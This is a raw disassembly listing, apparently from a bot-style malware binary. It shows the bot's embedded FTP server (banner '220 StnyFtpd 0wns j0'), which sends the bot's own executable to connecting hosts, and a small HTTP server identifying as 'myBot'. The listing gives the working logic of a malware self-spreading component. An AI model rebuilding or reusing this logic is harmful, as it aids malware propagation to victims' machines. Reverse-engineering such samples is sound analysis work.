Attributes: bp-based frame sub_406614 proc near ; DATA XREF: sub_402994+226o var_A6C = byte ptr -0A6Ch var_8DC = byte ptr -8DCh var_6DC = dword ptr -6DCh var_6D8 = byte ptr -6D8h var_4C4 = byte ptr -4C4h var_444 = dword ptr -444h var_440 = dword ptr -440h var_438 = dword ptr -438h var_334 = byte ptr -334h var_2D0 = byte ptr -2D0h var_29C = byte ptr -29Ch var_238 = byte ptr -238h var_228 = dword ptr -228h var_224 = dword ptr -224h var_124 = byte ptr -124h var_F8 = byte ptr -0F8h var_C4 = byte ptr -0C4h var_AC = byte ptr -0ACh var_48 = byte ptr -48h var_38 = word ptr -38h var_36 = word ptr -36h var_34 = dword ptr -34h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = byte ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0A6Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 1 mov ecx, 0A9h mov esi, eax lea edi, [ebp+var_6DC] pop ebx rep movsd mov [eax+2A0h], ebx lea eax, [ebp+var_A6C] xor edi, edi push eax push 101h mov [ebp+var_28], ebx mov [ebp+var_18], ebx mov [ebp+var_228], edi mov [ebp+var_438], edi call ds:dword_4944AC ; WSAStartup push edi call sub_41ABD0 push eax call sub_418FF0 pop ecx pop ecx call sub_419000 cdq mov ecx, 0FC17h push edi idiv ecx push ebx push 2 add edx, 3E8h mov dword_44B154, edx call ds:dword_4944B0 ; socket mov esi, eax lea eax, [ebp+var_28] push 4 push eax push 4 push 0FFFFh push esi mov [ebp+var_C], esi call ds:dword_4944B4 ; setsockopt lea eax, [ebp+var_18] push eax push 8004667Eh push esi call ds:dword_4944B8 ; ioctlsocket mov ax, word ptr dword_44B154 mov [ebp+var_38], 2 push eax mov [ebp+var_34], edi call ds:dword_4944BC ; htons mov [ebp+var_36], ax lea eax, [ebp+var_38] push 10h push eax push esi call ds:dword_4944C0 ; bind test eax, eax jge short loc_4066ED mov eax, ebx jmp loc_406C16 ; --------------------------------------------------------------------------- loc_4066ED: ; CODE XREF: sub_406614+D0j push 0Ah push esi call ds:dword_4944C4 ; listen mov [ebp+var_228], ebx mov ebx, ds:dword_4944C8 mov [ebp+var_224], esi mov [ebp+var_4], esi loc_40670B: ; CODE XREF: sub_406614+12Ej ; sub_406614+5FAj push 41h lea esi, [ebp+var_228] pop ecx lea edi, [ebp+var_438] rep movsd xor edi, edi lea eax, [ebp+var_438] push edi push edi push edi push eax mov eax, [ebp+var_4] inc eax push eax call ds:dword_4944CC ; select cmp eax, 0FFFFFFFFh jz loc_406C13 cmp [ebp+var_4], edi mov [ebp+arg_0], edi jl short loc_40670B loc_406744: ; CODE XREF: sub_406614+5F4j xor esi, esi push 64h lea eax, [ebp+var_29C] push esi push eax call sub_4189A0 push 64h lea eax, [ebp+var_AC] push esi push eax call sub_4189A0 add esp, 18h lea eax, [ebp+var_438] push eax push edi call sub_430C92 ; __WSAFDIsSet test eax, eax jz loc_406C01 cmp edi, [ebp+var_C] jnz loc_406807 lea eax, [ebp+var_24] mov [ebp+var_24], 10h push eax lea eax, [ebp+var_238] push eax push [ebp+var_C] call ds:dword_4944D4 ; accept cmp eax, 0FFFFFFFFh jz loc_406C01 xor ecx, ecx cmp [ebp+var_228], esi jbe short loc_4067D1 lea edx, [ebp+var_224] jmp short loc_4067BE ; --------------------------------------------------------------------------- loc_4067BB: ; CODE XREF: sub_406614+1BBj mov edx, [ebp+arg_0] loc_4067BE: ; CODE XREF: sub_406614+1A5j cmp [edx], eax jz short loc_4067D1 inc ecx add edx, 4 cmp ecx, [ebp+var_228] mov [ebp+arg_0], edx jb short loc_4067BB loc_4067D1: ; CODE XREF: sub_406614+19Dj ; sub_406614+1ACj cmp ecx, [ebp+var_228] jnz short loc_4067EF cmp [ebp+var_228], 40h jnb short loc_4067EF mov [ebp+ecx*4+var_224], eax inc [ebp+var_228] loc_4067EF: ; CODE XREF: sub_406614+1C3j ; sub_406614+1CCj cmp eax, [ebp+var_4] jle short loc_4067F7 mov [ebp+var_4], eax loc_4067F7: ; CODE XREF: sub_406614+1DEj push esi push 15h push offset a220Stnyftpd0wn ; "220 StnyFtpd 0wns j0\n" push eax call ebx ; send jmp loc_406C01 ; --------------------------------------------------------------------------- loc_406807: ; CODE XREF: sub_406614+16Bj push esi lea eax, [ebp+var_29C] push 64h push eax push edi call ds:dword_4944D8 ; recv test eax, eax jg short loc_40686E mov edx, [ebp+var_228] xor ecx, ecx cmp edx, esi jbe short loc_406862 lea eax, [ebp+var_224] loc_40682E: ; CODE XREF: sub_406614+224j cmp [eax], edi jz short loc_40683C inc ecx add eax, 4 cmp ecx, edx jb short loc_40682E jmp short loc_406862 ; --------------------------------------------------------------------------- loc_40683C: ; CODE XREF: sub_406614+21Cj dec edx cmp ecx, edx jnb short loc_40685C lea eax, [ebp+ecx*4+var_224] loc_406848: ; CODE XREF: sub_406614+246j mov edx, [eax+4] inc ecx mov [eax], edx mov edx, [ebp+var_228] add eax, 4 dec edx cmp ecx, edx jb short loc_406848 loc_40685C: ; CODE XREF: sub_406614+22Bj dec [ebp+var_228] loc_406862: ; CODE XREF: sub_406614+212j ; sub_406614+226j push edi call ds:dword_4944DC ; closesocket jmp loc_406C01 ; --------------------------------------------------------------------------- loc_40686E: ; CODE XREF: sub_406614+206j lea eax, [ebp+var_334] push eax lea eax, [ebp+var_AC] push eax lea eax, [ebp+var_29C] push offset aSS_3 ; "%s %s" push eax call sub_4192A0 lea eax, [ebp+var_AC] push offset aUser ; "USER" push eax call sub_419360 add esp, 18h test eax, eax jnz short loc_4068B2 push esi push 16h push offset a331PasswordReq ; "331 Password required\n" jmp loc_406BEC ; --------------------------------------------------------------------------- loc_4068B2: ; CODE XREF: sub_406614+28Fj lea eax, [ebp+var_AC] push offset aPass ; "PASS" push eax call sub_419360 pop ecx test eax, eax pop ecx jnz short loc_4068D6 push esi push 14h push offset a230UserLoggedI ; "230 User logged in.\n" jmp loc_406BEC ; --------------------------------------------------------------------------- loc_4068D6: ; CODE XREF: sub_406614+2B3j lea eax, [ebp+var_AC] push offset aSyst ; "SYST" push eax call sub_419360 pop ecx test eax, eax pop ecx jnz short loc_4068FA push esi push 0Dh push offset a215Stnyftpd ; "215 StnyFtpd\n" jmp loc_406BEC ; --------------------------------------------------------------------------- loc_4068FA: ; CODE XREF: sub_406614+2D7j lea eax, [ebp+var_AC] push offset aRest ; "REST" push eax call sub_419360 pop ecx test eax, eax pop ecx jnz short loc_40691E push esi push 10h push offset a350Restarting_ ; "350 Restarting.\n" jmp loc_406BEC ; --------------------------------------------------------------------------- loc_40691E: ; CODE XREF: sub_406614+2FBj lea eax, [ebp+var_AC] push offset off_438694 push eax call sub_419360 pop ecx test eax, eax pop ecx jnz short loc_406942 push esi push 1Eh push offset a257IsCurrentDi ; "257 \"/\" is current directory.\n" jmp loc_406BEC ; --------------------------------------------------------------------------- loc_406942: ; CODE XREF: sub_406614+31Fj lea eax, [ebp+var_AC] push offset aType ; "TYPE" push eax call sub_419360 pop ecx test eax, eax pop ecx jnz short loc_40697D lea eax, [ebp+var_334] push offset aA_0 ; "A" push eax call sub_419360 pop ecx test eax, eax pop ecx jnz short loc_40697D push esi push 13h push offset a200TypeSetToA_ ; "200 Type set to A.\n" jmp loc_406BEC ; --------------------------------------------------------------------------- loc_40697D: ; CODE XREF: sub_406614+343j ; sub_406614+35Aj lea eax, [ebp+var_AC] push offset aType_0 ; "TYPE" push eax call sub_419360 pop ecx test eax, eax pop ecx jnz short loc_4069B8 lea eax, [ebp+var_334] push offset aI ; "I" push eax call sub_419360 pop ecx test eax, eax pop ecx jnz short loc_4069B8 push esi push 13h push offset a200TypeSetToI_ ; "200 Type set to I.\n" jmp loc_406BEC ; --------------------------------------------------------------------------- loc_4069B8: ; CODE XREF: sub_406614+37Ej ; sub_406614+395j lea eax, [ebp+var_AC] push offset aPasv ; "PASV" push eax call sub_419360 pop ecx test eax, eax pop ecx jnz short loc_406A06 push 0Ah mov esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"... pop ecx lea edi, [ebp+var_124] rep movsd push eax lea eax, [ebp+var_124] push eax movsw call sub_418E70 pop ecx push eax lea eax, [ebp+var_124] loc_4069F6: ; CODE XREF: sub_406614+431j push eax push [ebp+arg_0] call ebx ; send mov edi, [ebp+arg_0] xor esi, esi jmp loc_406BEF ; --------------------------------------------------------------------------- loc_406A06: ; CODE XREF: sub_406614+3B9j lea eax, [ebp+var_AC] push offset aList ; "LIST" push eax call sub_419360 pop ecx test eax, eax pop ecx jnz short loc_406A47 push 5 mov esi, offset a226TransferCom ; "226 Transfer complete\n" pop ecx lea edi, [ebp+var_C4] rep movsd movsw push eax lea eax, [ebp+var_C4] push eax movsb call sub_418E70 pop ecx push eax lea eax, [ebp+var_C4] jmp short loc_4069F6 ; --------------------------------------------------------------------------- loc_406A47: ; CODE XREF: sub_406614+407j lea eax, [ebp+var_AC] push offset aPort ; "PORT" push eax call sub_419360 pop ecx test eax, eax pop ecx jnz loc_406B18 lea eax, [ebp+var_2D0] push eax lea eax, [ebp+var_F8] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_29C] push offset aS_2 ; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"... push eax call sub_4192A0 lea eax, [ebp+var_F8] push eax call sub_4195F0 mov [ebp+var_8], eax lea eax, [ebp+var_2D0] push eax call sub_4195F0 mov [ebp+arg_0], eax push 32h lea eax, [ebp+var_F8] push esi push eax call sub_4189A0 push [ebp+arg_0] lea eax, [ebp+var_F8] push [ebp+var_8] push offset aXX ; "%x%x\n" push eax call sub_418D70 add esp, 44h lea eax, [ebp+var_F8] push 10h push esi push eax call sub_41ABB0 mov [ebp+var_8], eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_48] push offset aS_S_S_S ; "%s.%s.%s.%s" push eax call sub_418D70 add esp, 24h push esi push 1Dh push offset a200PortCommand ; "200 PORT command successful.\n" jmp loc_406BEC ; --------------------------------------------------------------------------- loc_406B18: ; CODE XREF: sub_406614+448j lea eax, [ebp+var_AC] push offset aRetr ; "RETR" push eax call sub_419360 pop ecx test eax, eax pop ecx jnz loc_406BCD push esi push 28h push offset a150OpeningBina ; "150 Opening BINARY mode data connection"... push edi call ebx ; send push [ebp+var_8] lea eax, [ebp+var_48] push eax call sub_406C1D pop ecx cmp eax, 1 pop ecx jnz short loc_406BC3 call sub_406C9A cmp eax, 1 jnz loc_406BEF push esi push 17h push offset a226TransferC_0 ; "226 Transfer complete.\n" push edi call ebx ; send lea eax, [ebp+var_6D8] push eax lea eax, [ebp+var_48] push eax lea eax, [ebp+var_8DC] push offset aFtpFileTransfe ; "[FTP]: File transfer complete to IP: %s"... push eax call sub_418D70 add esp, 10h cmp [ebp+var_440], esi jnz short loc_406BB4 push esi lea eax, [ebp+var_8DC] push [ebp+var_444] push eax lea eax, [ebp+var_4C4] push eax push [ebp+var_6DC] call sub_40842D add esp, 14h loc_406BB4: ; CODE XREF: sub_406614+57Bj lea eax, [ebp+var_8DC] push eax call sub_4035E1 pop ecx jmp short loc_406BEF ; --------------------------------------------------------------------------- loc_406BC3: ; CODE XREF: sub_406614+53Bj push esi push 20h push offset a425CanTOpenDat ; "425 Can't open data connection.\n" jmp short loc_406BEC ; --------------------------------------------------------------------------- loc_406BCD: ; CODE XREF: sub_406614+519j lea eax, [ebp+var_AC] push offset aQuit ; "QUIT" push eax call sub_419360 pop ecx test eax, eax pop ecx jnz short loc_406BEF push esi push 1Bh push offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n" loc_406BEC: ; CODE XREF: sub_406614+299j ; sub_406614+2BDj ... push edi call ebx ; send loc_406BEF: ; CODE XREF: sub_406614+3EDj ; sub_406614+545j ... push 64h lea eax, [ebp+var_29C] push esi push eax call sub_4189A0 add esp, 0Ch loc_406C01: ; CODE XREF: sub_406614+162j ; sub_406614+18Fj ... inc edi cmp edi, [ebp+var_4] mov [ebp+arg_0], edi jle loc_406744 jmp loc_40670B ; --------------------------------------------------------------------------- loc_406C13: ; CODE XREF: sub_406614+122j push 1 pop eax loc_406C16: ; CODE XREF: sub_406614+D4j pop edi pop esi pop ebx leave retn 4 sub_406614 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406C1D proc near ; CODE XREF: sub_406614+531p var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 1A0h lea eax, [ebp+var_1A0] push eax push 101h call ds:dword_4944AC ; WSAStartup push 0 push 1 push 2 call ds:dword_4944B0 ; socket push [ebp+arg_0] mov dword_44B150, eax mov [ebp+var_10], 2 call ds:dword_4944A0 ; inet_addr push [ebp+arg_4] mov [ebp+var_C], eax call ds:dword_4944BC ; htons mov [ebp+var_E], ax lea eax, [ebp+var_10] push 10h push eax push dword_44B150 call ds:dword_4944A4 ; connect cmp eax, 0FFFFFFFFh jnz short loc_406C95 push dword_44B150 call ds:dword_4944DC ; closesocket call ds:dword_4944A8 ; WSACleanup xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_406C95: ; CODE XREF: sub_406C1D+60j push 1 pop eax leave retn sub_406C1D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406C9A proc near ; CODE XREF: sub_406614+53Dp var_504 = byte ptr -504h var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 504h push esi lea eax, [ebp+var_104] push 104h push eax push 0 call ds:dword_4942F8 lea eax, [ebp+var_104] push offset aRb_0 ; "rb" push eax call sub_419D70 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_406D31 test byte ptr [esi+0Ch], 10h jnz short loc_406D15 push edi mov edi, 400h loc_406CDD: ; CODE XREF: sub_406C9A+78j push esi push 1 lea eax, [ebp+var_504] push edi push eax call sub_419D90 add esp, 10h lea eax, [ebp+var_504] push 0 push edi push eax push dword_44B150 call ds:dword_4944C8 ; send push 1 call ds:dword_4942D8 test byte ptr [esi+0Ch], 10h jz short loc_406CDD pop edi loc_406D15: ; CODE XREF: sub_406C9A+3Bj push esi call sub_419740 pop ecx push dword_44B150 call ds:dword_4944DC ; closesocket call ds:dword_4944A8 ; WSACleanup push 1 pop eax loc_406D31: ; CODE XREF: sub_406C9A+35j pop esi leave retn sub_406C9A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406D34 proc near ; DATA XREF: sub_402994+333o ; sub_40C50A+54E6o var_28F0 = byte ptr -28F0h var_18F0 = byte ptr -18F0h var_8F0 = byte ptr -8F0h var_6F0 = byte ptr -6F0h var_5EC = dword ptr -5ECh var_5E8 = byte ptr -5E8h var_360 = byte ptr -360h var_25C = dword ptr -25Ch var_254 = dword ptr -254h var_250 = dword ptr -250h var_24C = dword ptr -24Ch var_248 = dword ptr -248h var_23C = byte ptr -23Ch var_138 = dword ptr -138h var_134 = dword ptr -134h var_34 = byte ptr -34h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 28F0h call sub_418D40 mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_5EC] push 1 rep movsd pop esi xor ebx, ebx mov [eax+3ACh], esi push 10h lea eax, [ebp+var_24] push ebx push eax mov [ebp+var_14], esi call sub_4189A0 add esp, 0Ch mov [ebp+var_24], 2 push [ebp+var_25C] call dword_44B6C0 ; htons push ebx push esi push 2 mov [ebp+var_22], ax mov [ebp+var_20], ebx call dword_44B740 ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_C], edi jz loc_407125 mov eax, [ebp+var_254] push 10h imul eax, 234h mov dword_44D064[eax], edi lea eax, [ebp+var_24] push eax push edi call dword_44B6EC ; bind cmp eax, 0FFFFFFFFh jz loc_407125 push 7FFFFFFFh push edi call dword_44B6E8 ; listen cmp eax, 0FFFFFFFFh jz loc_407125 lea eax, [ebp+var_14] push eax push 8004667Eh push edi call dword_44B75C ; ioctlsocket cmp eax, 0FFFFFFFFh jz loc_407125 mov ebx, esi mov [ebp+var_134], edi mov [ebp+var_138], ebx mov [ebp+var_8], edi loc_406E0B: ; CODE XREF: sub_406D34+3E7j push 41h xor eax, eax pop ecx lea esi, [ebp+var_138] push eax push eax push eax lea eax, [ebp+var_6F0] push eax mov eax, [ebp+var_8] lea edi, [ebp+var_6F0] inc eax rep movsd push eax call dword_44B6A8 ; select cmp eax, 0FFFFFFFFh jz loc_407120 xor esi, esi mov [ebp+var_4], esi loc_406E41: ; CODE XREF: sub_406D34+3E1j lea eax, [ebp+var_6F0] push eax push esi call dword_44B5B8 ; __WSAFDIsSet test eax, eax jz loc_40710B cmp esi, [ebp+var_C] jnz short loc_406EC3 lea eax, [ebp+var_10] mov [ebp+var_10], 10h push eax lea eax, [ebp+var_34] push eax push [ebp+var_C] call dword_44B754 ; accept cmp eax, 0FFFFFFFFh jz loc_40710B xor ecx, ecx test ebx, ebx jbe short loc_406E95 lea edx, [ebp+var_134] loc_406E89: ; CODE XREF: sub_406D34+15Fj cmp [edx], eax jz short loc_406E95 inc ecx add edx, 4 cmp ecx, ebx jb short loc_406E89 loc_406E95: ; CODE XREF: sub_406D34+14Dj ; sub_406D34+157j cmp ecx, ebx jnz short loc_406EB2 cmp ebx, 40h jnb short loc_406EB2 mov [ebp+ecx*4+var_134], eax mov ebx, [ebp+var_138] inc ebx mov [ebp+var_138], ebx loc_406EB2: ; CODE XREF: sub_406D34+163j ; sub_406D34+168j cmp eax, [ebp+var_8] jbe loc_40710B mov [ebp+var_8], eax jmp loc_40710B ; --------------------------------------------------------------------------- loc_406EC3: ; CODE XREF: sub_406D34+126j mov edi, 1000h lea eax, [ebp+var_28F0] push edi push 0 push eax call sub_4189A0 push edi lea eax, [ebp+var_18F0] push 0 push eax call sub_4189A0 add esp, 18h lea eax, [ebp+var_28F0] push 0 push edi push eax push esi call dword_44B6D8 ; recv test eax, eax jg short loc_406F56 push esi call dword_44B758 ; closesocket xor ecx, ecx test ebx, ebx jbe loc_40710B lea eax, [ebp+var_134] loc_406F15: ; CODE XREF: sub_406D34+1EBj cmp [eax], esi jz short loc_406F26 inc ecx add eax, 4 cmp ecx, ebx jb short loc_406F15 jmp loc_40710B ; --------------------------------------------------------------------------- loc_406F26: ; CODE XREF: sub_406D34+1E3j lea eax, [ebx-1] cmp ecx, eax jnb short loc_406F4A lea eax, [ebp+ecx*4+var_134] loc_406F34: ; CODE XREF: sub_406D34+214j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_406F34 loc_406F4A: ; CODE XREF: sub_406D34+1F7j dec ebx mov [ebp+var_138], ebx jmp loc_40710B ; --------------------------------------------------------------------------- loc_406F56: ; CODE XREF: sub_406D34+1C8j xor esi, esi push 104h lea eax, [ebp+var_23C] push esi push eax call sub_4189A0 lea eax, [ebp+var_28F0] mov [ebp+arg_0], esi push eax call sub_418E70 add esp, 10h test eax, eax jbe loc_40710B loc_406F84: ; CODE XREF: sub_406D34+30Fj mov eax, [ebp+arg_0] mov al, [ebp+eax+var_28F0] cmp al, 0Ah mov [ebp+esi+var_18F0], al jnz loc_40702F lea eax, [ebp+var_18F0] push offset aGet ; "GET " push eax call sub_419AB0 pop ecx test eax, eax pop ecx jz short loc_407003 lea eax, [ebp+var_18F0] push eax call sub_418E70 cmp eax, 5 pop ecx jbe short loc_407003 push offset asc_438880 ; " " push offset asc_438884 ; " " lea eax, [ebp+var_18F0] push offset aGet_0 ; "GET " push eax call sub_419AB0 pop ecx pop ecx push eax call sub_419AB0 pop ecx pop ecx push eax call sub_419890 push eax lea eax, [ebp+var_23C] push eax call sub_419FA0 add esp, 10h jmp short loc_40701A ; --------------------------------------------------------------------------- loc_407003: ; CODE XREF: sub_406D34+27Ej ; sub_406D34+290j lea eax, [ebp+var_18F0] push offset asc_438890 ; "\r\n" push eax call sub_419360 pop ecx test eax, eax pop ecx jz short loc_40704E loc_40701A: ; CODE XREF: sub_406D34+2CDj push edi lea eax, [ebp+var_18F0] push 0 push eax call sub_4189A0 add esp, 0Ch or esi, 0FFFFFFFFh loc_40702F: ; CODE XREF: sub_406D34+263j inc [ebp+arg_0] lea eax, [ebp+var_28F0] push eax inc esi call sub_418E70 cmp [ebp+arg_0], eax pop ecx jb loc_406F84 jmp loc_40710B ; --------------------------------------------------------------------------- loc_40704E: ; CODE XREF: sub_406D34+2E4j xor ecx, ecx test ebx, ebx jbe short loc_407098 lea eax, [ebp+var_134] loc_40705A: ; CODE XREF: sub_406D34+333j mov esi, [ebp+var_4] cmp [eax], esi jz short loc_40706B inc ecx add eax, 4 cmp ecx, ebx jb short loc_40705A jmp short loc_40709B ; --------------------------------------------------------------------------- loc_40706B: ; CODE XREF: sub_406D34+32Bj lea eax, [ebx-1] cmp ecx, eax jnb short loc_40708F lea eax, [ebp+ecx*4+var_134] loc_407079: ; CODE XREF: sub_406D34+359j mov edx, [eax+4] loc_40707C: ; DATA XREF: .data:00435518o ; .data:0043552Co ... inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_407079 loc_40708F: ; CODE XREF: sub_406D34+33Cj dec ebx mov [ebp+var_138], ebx jmp short loc_40709B ; --------------------------------------------------------------------------- loc_407098: ; CODE XREF: sub_406D34+31Ej mov esi, [ebp+var_4] loc_40709B: ; CODE XREF: sub_406D34+335j ; sub_406D34+362j lea eax, [ebp+var_23C] test eax, eax jz short loc_407104 lea eax, [ebp+var_360] push eax call sub_418E70 mov edi, eax lea eax, [ebp+var_23C] push eax call sub_418E70 add edi, eax pop ecx cmp edi, 104h pop ecx jnb short loc_407104 and [ebp+arg_0], 0 lea eax, [ebp+arg_0] push eax push 8004667Eh push esi call dword_44B75C ; ioctlsocket push [ebp+var_254] lea eax, [ebp+var_23C] push [ebp+var_248] push eax lea eax, [ebp+var_360] push eax push esi call sub_407317 add esp, 14h jmp short loc_40710B ; --------------------------------------------------------------------------- loc_407104: ; CODE XREF: sub_406D34+36Fj ; sub_406D34+395j push esi call dword_44B758 ; closesocket loc_40710B: ; CODE XREF: sub_406D34+11Dj ; sub_406D34+143j ... mov esi, [ebp+var_4] inc esi cmp esi, [ebp+var_8] mov [ebp+var_4], esi jbe loc_406E41 jmp loc_406E0B ; --------------------------------------------------------------------------- loc_407120: ; CODE XREF: sub_406D34+102j mov edi, [ebp+var_C] xor ebx, ebx loc_407125: ; CODE XREF: sub_406D34+6Aj ; sub_406D34+92j ... call dword_44B654 ; WSAGetLastError push eax lea eax, [ebp+var_8F0] push offset aHttpdErrorServ ; "[HTTPD]: Error: server failed, returned"... push eax call sub_418D70 add esp, 0Ch cmp [ebp+var_24C], ebx jnz short loc_40716B push ebx lea eax, [ebp+var_8F0] push [ebp+var_250] push eax lea eax, [ebp+var_5E8] push eax push [ebp+var_5EC] call sub_40842D add esp, 14h loc_40716B: ; CODE XREF: sub_406D34+412j lea eax, [ebp+var_8F0] push eax call sub_4035E1 pop ecx push edi call dword_44B758 ; closesocket push [ebp+var_254] call sub_416507 pop ecx push ebx call ds:dword_4942FC pop edi pop esi pop ebx sub_406D34 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407195 proc near ; DATA XREF: sub_407317+246o var_1654 = byte ptr -1654h var_654 = byte ptr -654h var_550 = byte ptr -550h var_44C = dword ptr -44Ch var_3C8 = byte ptr -3C8h var_2C4 = byte ptr -2C4h var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_A4 = dword ptr -0A4h var_9C = byte ptr -9Ch var_68 = byte ptr -68h var_20 = byte ptr -20h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1654h call sub_418D40 mov eax, [ebp+arg_0] push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_44C] rep movsd mov dword ptr [eax+3ACh], 1 lea eax, [ebp+var_3C8] push eax lea eax, [ebp+var_550] push eax call sub_418D70 lea eax, [ebp+var_2C4] push eax lea eax, [ebp+var_654] push eax call sub_418D70 xor edi, edi add esp, 10h cmp [ebp+var_A4], edi jz short loc_4071FA push offset aTextHtml ; "text/html" jmp short loc_4071FF ; --------------------------------------------------------------------------- loc_4071FA: ; CODE XREF: sub_407195+5Cj push offset aApplicationOct ; "application/octet-stream" loc_4071FF: ; CODE XREF: sub_407195+63j lea eax, [ebp+var_9C] push eax call sub_418D70 pop ecx lea eax, [ebp+var_68] pop ecx mov esi, 409h push 46h push eax push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy" push edi push edi push esi call ds:dword_494378 lea eax, [ebp+var_20] push 1Eh push eax push offset aHhMmSs ; "HH:mm:ss" push edi push edi push esi call ds:dword_494374 lea eax, [ebp+var_20] cmp [ebp+var_B8], 0FFFFFFFFh push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax jnz short loc_407278 lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_418D70 add esp, 24h jmp short loc_407299 ; --------------------------------------------------------------------------- loc_407278: ; CODE XREF: sub_407195+C4j push [ebp+var_B8] lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_418D70 add esp, 28h loc_407299: ; CODE XREF: sub_407195+E1j lea eax, [ebp+var_1654] push edi push eax call sub_418E70 pop ecx push eax lea eax, [ebp+var_1654] push eax push [ebp+var_44C] call dword_44B710 ; send cmp [ebp+var_A4], edi jnz short loc_4072D9 lea eax, [ebp+var_550] push eax push [ebp+var_44C] call sub_407C49 pop ecx pop ecx jmp short loc_4072F6 ; --------------------------------------------------------------------------- loc_4072D9: ; CODE XREF: sub_407195+12Cj lea eax, [ebp+var_654] push eax push edi push [ebp+var_44C] lea eax, [ebp+var_550] push eax call sub_4075C7 add esp, 10h loc_4072F6: ; CODE XREF: sub_407195+142j push [ebp+var_44C] call dword_44B758 ; closesocket push [ebp+var_B4] call sub_416507 pop ecx push edi call ds:dword_4942FC pop edi pop esi sub_407195 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407317 proc near ; CODE XREF: sub_406D34+3C6p var_8C4 = byte ptr -8C4h var_6C4 = dword ptr -6C4h var_640 = byte ptr -640h var_53C = byte ptr -53Ch var_330 = dword ptr -330h var_32C = dword ptr -32Ch var_31C = dword ptr -31Ch var_318 = dword ptr -318h var_314 = byte ptr -314h var_211 = byte ptr -211h var_210 = byte ptr -210h var_10C = byte ptr -10Ch var_10B = byte ptr -10Bh var_10A = byte ptr -10Ah var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 8C4h push ebx push esi push edi xor edi, edi push 104h lea eax, [ebp+var_210] push edi push eax mov [ebp+var_4], edi call sub_4189A0 mov eax, [ebp+arg_8] add esp, 0Ch cmp byte ptr [eax], 2Fh jz short loc_40734D push eax push offset aS_3 ; "\\%s" jmp short loc_407356 ; --------------------------------------------------------------------------- loc_40734D: ; CODE XREF: sub_407317+2Cj push eax mov byte ptr [eax], 5Ch push offset aS_4 ; "%s" loc_407356: ; CODE XREF: sub_407317+34j lea eax, [ebp+var_10C] push eax call sub_418D70 add esp, 0Ch lea eax, [ebp+var_10C] xor esi, esi xor ebx, ebx push eax call sub_418E70 test eax, eax pop ecx jbe short loc_4073F1 mov [ebp+arg_8], 2 loc_407381: ; CODE XREF: sub_407317+D8j lea eax, [ebp+var_10C] push eax call sub_418E70 cmp [ebp+arg_8], eax pop ecx jnb short loc_4073C1 cmp [ebp+esi+var_10C], 25h jnz short loc_4073C1 cmp [ebp+esi+var_10B], 32h jnz short loc_4073C1 cmp [ebp+esi+var_10A], 30h jnz short loc_4073C1 inc esi mov [ebp+ebx+var_210], 20h inc esi add [ebp+arg_8], 2 jmp short loc_4073DB ; --------------------------------------------------------------------------- loc_4073C1: ; CODE XREF: sub_407317+7Aj ; sub_407317+84j ... mov al, [ebp+esi+var_10C] cmp al, 2Fh jnz short loc_4073D1 push 5Ch pop eax jmp short loc_4073D4 ; --------------------------------------------------------------------------- loc_4073D1: ; CODE XREF: sub_407317+B3j movsx eax, al loc_4073D4: ; CODE XREF: sub_407317+B8j mov [ebp+ebx+var_210], al loc_4073DB: ; CODE XREF: sub_407317+A8j lea eax, [ebp+var_10C] inc esi inc [ebp+arg_8] push eax inc ebx call sub_418E70 cmp esi, eax pop ecx jb short loc_407381 loc_4073F1: ; CODE XREF: sub_407317+61j lea eax, [ebp+var_210] push eax lea eax, [ebp+var_314] push [ebp+arg_4] push offset aSS_4 